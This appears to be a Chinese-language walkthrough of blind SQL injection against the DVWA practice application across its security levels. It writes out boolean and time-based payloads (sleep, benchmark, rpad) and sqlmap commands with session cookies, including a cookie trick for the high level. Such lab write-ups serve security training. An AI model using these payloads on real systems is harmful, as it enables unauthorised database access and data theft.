DVWA--SQLInjection(blind)

Low等级

DVWA--SQLInjection(blind)_第1张图片
DVWA--SQLInjection(blind)_第2张图片
确定注入poc
DVWA--SQLInjection(blind)_第3张图片
DVWA--SQLInjection(blind)_第4张图片
1.手工注入(布尔型)
确定字符串长度
DVWA--SQLInjection(blind)_第5张图片DVWA--SQLInjection(blind)_第6张图片
确定字符串内容
DVWA--SQLInjection(blind)_第7张图片
DVWA--SQLInjection(blind)_第8张图片
(二分法,步骤省略)
得到:
substr(database(),1,1)=’d’
substr(database(),2,1)=’v’
substr(database(),3,1)=’w’
substr(database(),4,1)=’a’
database() =’dvwa’
2.手工注入(延时型)
确定字符串长度(sleep)
https://dvwa.practice.rois.io/vulnerabilities/sqli_blind/?id=1' and sleep(if(length(database())=4,5,0))-- &Submit=Submit在这里插入图片描述
https://dvwa.practice.rois.io/vulnerabilities/sqli_blind/?id=1' and sleep(if(length(database())=5,5,0))-- &Submit=Submit在这里插入图片描述

确定字符串长度(benchmark)

https://dvwa.practice.rois.io/vulnerabilities/sqli_blind/?id=1' and benchmark(if(length(database())=4,5000000,0),md5('test'));-- &Submit=Submit

在这里插入图片描述

https://dvwa.practice.rois.io/vulnerabilities/sqli_blind/?id=1' and benchmark(if(length(database())=5,5000000,0),md5('test'));-- &Submit=Submit

在这里插入图片描述

确定字符串长度(rpad)
https://dvwa.practice.rois.io/vulnerabilities/sqli_blind/?id=1' and if(length(database())=4,concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')),0);-- &Submit=Submit在这里插入图片描述https://dvwa.practice.rois.io/vulnerabilities/sqli_blind/?id=1' and if(length(database())=5,concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')),0);-- &Submit=Submit在这里插入图片描述
省略确定字符串内容部分
3.sqlmap
python sqlmap.py -u "https://dvwa.practice.rois.io/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=23i44gbd9l7omad5h09cebd1f7; security=low" --current-db
DVWA--SQLInjection(blind)_第9张图片

Medium等级

DVWA--SQLInjection(blind)_第10张图片
利用sqlmap获取数据库名
python sqlmap.py -u " https://dvwa.practice.rois.io/vulnerabilities/sqli_blind/" --data "id=1&Submit=Submit" -p "id" --cookie " PHPSESSID=pqsnp4fk48uek23a6qs5k47gt2; security=medium" --current-db
DVWA--SQLInjection(blind)_第11张图片

High等级

DVWA--SQLInjection(blind)_第12张图片
用sqlmap进行注入
python sqlmap.py -u "https://dvwa.practice.rois.io/vulnerabilities/sqli_blind/cookie-input.php" --data "id=1&Submit=Submit" -p "id" --cookie " PHPSESSID=166rs1ts9sdpjoqcto11j16n56; security=high" --second-url "https://dvwa.practice.rois.io/vulnerabilities/sqli_blind/"
注入失败
在这里插入图片描述
发现cookie中包含有id参数
DVWA--SQLInjection(blind)_第13张图片
添加id=1到cookie中
python sqlmap.py -u "https://dvwa.practice.rois.io/vulnerabilities/sqli_blind/cookie-input.php" --data "id=1&Submit=Submit" -p "id" --cookie "id=1;PHPSESSID=166rs1ts9sdpjoqcto11j16n56; security=high" --second-url "https://dvwa.practice.rois.io/vulnerabilities/sqli_blind/" –current-db
成功获取数据库名
DVWA--SQLInjection(blind)_第14张图片

Impossible等级

检测了id数据类型,使用预编译绑定id变量,有效防止了sql注入

DVWA--SQLInjection(blind)_第15张图片

你可能感兴趣的:(DVWA--SQLInjection(blind))